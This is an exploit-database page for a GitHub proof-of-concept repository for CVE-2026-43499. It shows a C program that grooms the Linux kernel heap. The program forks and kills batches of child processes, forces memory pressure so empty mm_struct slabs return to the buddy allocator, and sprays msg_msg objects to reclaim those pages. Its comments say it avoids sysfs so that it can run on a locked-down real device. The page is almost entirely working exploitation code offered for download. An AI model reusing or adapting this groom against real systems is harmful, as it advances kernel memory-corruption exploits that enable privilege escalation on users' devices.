Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

164 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files84
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

workspace/qemu/glC/cross_glC.c

C · 7,410 bytes
/* cross_glC.c - fully autonomous, pure-userland mm_struct -> kmalloc-512(msg_msg)
 * page-level reclaim groom.  QEMU arm32 clang 5.4.210.
 *
 *  - NO sysfs writes, NO /proc/sys/vm/drop_caches (the real device blocks both).
 *  - Reclaim to buddy is forced purely from userland:
 *      (a) fork/kill batches whose empty order-2 mm slabs exceed the
 *          per-CPU + node partial quota (~13*4 + 5 ~= 57 pages), so the
 *          surplus empty slabs are naturally returned to buddy; and
 *      (b) a large touched anonymous mmap that triggers direct reclaim /
 *          the SLUB shrinker, which discards empty mm_struct slabs.
 *  - Spray 488B msg_msg (kernel text @ slot+24 == our text[0]).
 *  - Queues are rotated but NEVER IPC_RMID'd (would free already-sprayed
 *    messages).  All queue ids are held for the lifetime of the process.
 *
 * Build: arm-linux-gnueabihf-gcc -static -O2 -o cross_glC cross_glC.c -lpthread
 *
 * stdout markers (a gdb/serial driver polls these to know where it is):
 *   === SNAP r=<R> nchild=<N> ===     children alive, mm recorded window
 *   === KILLED r=<R> freed=<F> extrabatches=<E> ===
 *   === PRESSURE r=<R> mb=<M> freed_to_buddy_hint=<H> ===
 *   === SPRAYED r=<R> n=<S> queues=<Q> ===
 *   === ROUND r=<R> done ===
 *   ALLDONE
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sched.h>
#include <errno.h>

#define TEXT 488
#define PERQ 24                 /* ~ msgmnb/512B: rotate queue every 24 */
#define MAGIC 0x4947414du       /* "MAGI" little-endian; lands at slot+24 */

struct mbuf { long mtype; char mtext[TEXT]; };

/* ---- queue bookkeeping (all ids retained, never IPC_RMID) ---- */
static int *g_qs = NULL; static int g_nq = 0, g_qcap = 0;
static int  g_mq = -1;   static int g_held = 0;
static unsigned long g_seq = 0;

static void newq(void) {
    if (g_mq >= 0) {
        if (g_nq == g_qcap) {
            g_qcap = g_qcap ? g_qcap * 2 : 256;
            g_qs = realloc(g_qs, (size_t)g_qcap * sizeof(int));
        }
        g_qs[g_nq++] = g_mq;
    }
    g_mq = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    if (g_mq < 0) { dprintf(2, "msgget fatal %d\n", errno); _exit(3); }
    g_held = 0;
}

/* spray `n` messages, each carrying MAGIC + sequence at text[0..7] */
static long spray_n(int n) {
    long sent = 0;
    struct mbuf m;
    memset(&m, 0, sizeof m);
    m.mtype = 1;
    for (int i = 0; i < n; i++) {
        uint32_t magic = MAGIC;
        memcpy(m.mtext + 0, &magic, 4);          /* text@0  -> slot+24 */
        memcpy(m.mtext + 4, &g_seq,  4);        /* text@4  -> round/seq tag */
        g_seq++;
        if (msgsnd(g_mq, &m, TEXT, IPC_NOWAIT) < 0) {
            newq();
            if (msgsnd(g_mq, &m, TEXT, IPC_NOWAIT) < 0) {
                dprintf(2, "msgsnd fatal %d\n", errno); _exit(4);
            }
        }
        sent++;
        if (++g_held >= PERQ) newq();           /* rotate, keep old ids */
    }
    return sent;
}

/* ---- fork / kill machinery ---- */
static pid_t *g_kids = NULL;
static int g_nkids = 0;

/* fork `n` children that raise(SIGSTOP) then pause().  Each child owns an mm. */
static void fork_kids(int n) {
    for (int i = 0; i < n; i++) {
        pid_t p = fork();
        if (p == 0) {
            prctl(15 /*PR_SET_NAME*/, (unsigned long)"gCsp", 0, 0, 0);
            raise(SIGSTOP);
            for (;;) pause();
        }
        g_kids[g_nkids++] = p;
    }
}
static void kill_wait_all(void) {
    for (int i = 0; i < g_nkids; i++) kill(g_kids[i], 9);
    for (int i = 0; i < g_nkids; i++) waitpid(g_kids[i], 0, 0);
    g_nkids = 0;
}

/* extra batches: fork/kill many more children than the partial quota holds,
 * so surplus empty order-2 mm slabs are forced out of per-CPU/node partial
 * and back to buddy.  Returns number of extra slabs freed (pages). */
static int blow_quota(int batch, int nb) {
    long pages = 0;
    for (int b = 0; b < nb; b++) {
        /* use a fresh temporary array: reuse g_kids via a temp count */
        int saved = g_nkids;
        for (int i = 0; i < batch; i++) {
            pid_t p = fork();
            if (p == 0) { prctl(15, (unsigned long)"gCex",0,0,0); raise(SIGSTOP); for(;;) pause(); }
            g_kids[g_nkids++] = p;
        }
        for (int i = saved; i < g_nkids; i++) kill(g_kids[i], 9);
        for (int i = saved; i < g_nkids; i++) waitpid(g_kids[i], 0, 0);
        pages += (batch / 16);                 /* 16 mm per order-2 slab */
        g_nkids = saved;
    }
    return (int)pages;
}

/* memory-pressure reclaim: touch a big anon region.  If free RAM is smaller
 * than the region, the page allocator runs direct reclaim and the SLUB
 * shrinker discards empty mm_struct slabs to buddy.  Returns bytes touched. */
static size_t pressure_reclaim(size_t mb) {
    size_t bytes = mb * 1024UL * 1024UL;
    size_t pg = 4096;
    char *p = mmap(NULL, bytes, PROT_READ | PROT_WRITE,
                   MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    if (p == MAP_FAILED) return 0;
    /* MAP_POPULATE already faulted; touch once more to be sure */
    for (size_t o = 0; o < bytes; o += pg) p[o] = 1;
    munmap(p, bytes);
    return bytes;
}

int main(int argc, char **argv) {
    setvbuf(stdout, NULL, _IONBF, 0);
    /* pin to one cpu for freelist consistency under HARDENED */
    cpu_set_t cs; CPU_ZERO(&cs); CPU_SET(0, &cs); sched_setaffinity(0, sizeof cs, &cs);

    int nch     = argc>1 ? atoi(argv[1]) : 256;   /* main batch children */
    int rounds  = argc>2 ? atoi(argv[2]) : 10;
    int pre     = argc>3 ? atoi(argv[3]) : 2000;  /* prefill msg_msg */
    int spray   = argc>4 ? atoi(argv[4]) : 12000; /* per-round spray */
    int nb      = argc>5 ? atoi(argv[5]) : 3;     /* extra quota-blow batches */
    int pmem    = argc>6 ? atoi(argv[6]) : 192;   /* pressure anon MB */
    int snapwin = argc>7 ? atoi(argv[7]) : 9;     /* gdb record window */
    int chkwin  = argc>8 ? atoi(argv[8]) : 7;     /* gdb check window */

    g_kids = calloc(nch + 256, sizeof(pid_t));
    newq();
    spray_n(pre);
    printf("PREFILL done pre=%d queues=%d\n", pre, g_nq + 1);

    for (int r = 0; r < rounds; r++) {
        /* --- load mm slabs: children alive, mm present --- */
        fork_kids(nch);
        printf("=== SNAP r=%d nchild=%d ===\n", r, nch);
        sleep(snapwin);                 /* gdb walks & records mm pages here */

        /* --- free this batch's mm slabs --- */
        kill_wait_all();
        /* blow the partial quota with extra fork/kill batches (no sysfs) */
        int extra = blow_quota(nch, nb);
        printf("=== KILLED r=%d extrabatches=%d extraslabs=%d ===\n", r, nb, extra);

        /* --- force empty mm slabs back to buddy via memory pressure --- */
        size_t touched = pressure_reclaim(pmem);
        printf("=== PRESSURE r=%d mb=%d bytes=%zu ===\n", r, pmem, touched);

        /* --- spray msg_msg onto buddy (reclaims former mm order-2 pages) --- */
        long s = spray_n(spray);
        printf("=== SPRAYED r=%d n=%ld queues=%d ===\n", r, s, g_nq + 1);
        sleep(chkwin);                  /* gdb scans recorded pages here */
        printf("=== ROUND r=%d done ===\n", r);
    }

    printf("ALLDONE\n");
    for (;;) pause();
    return 0;
}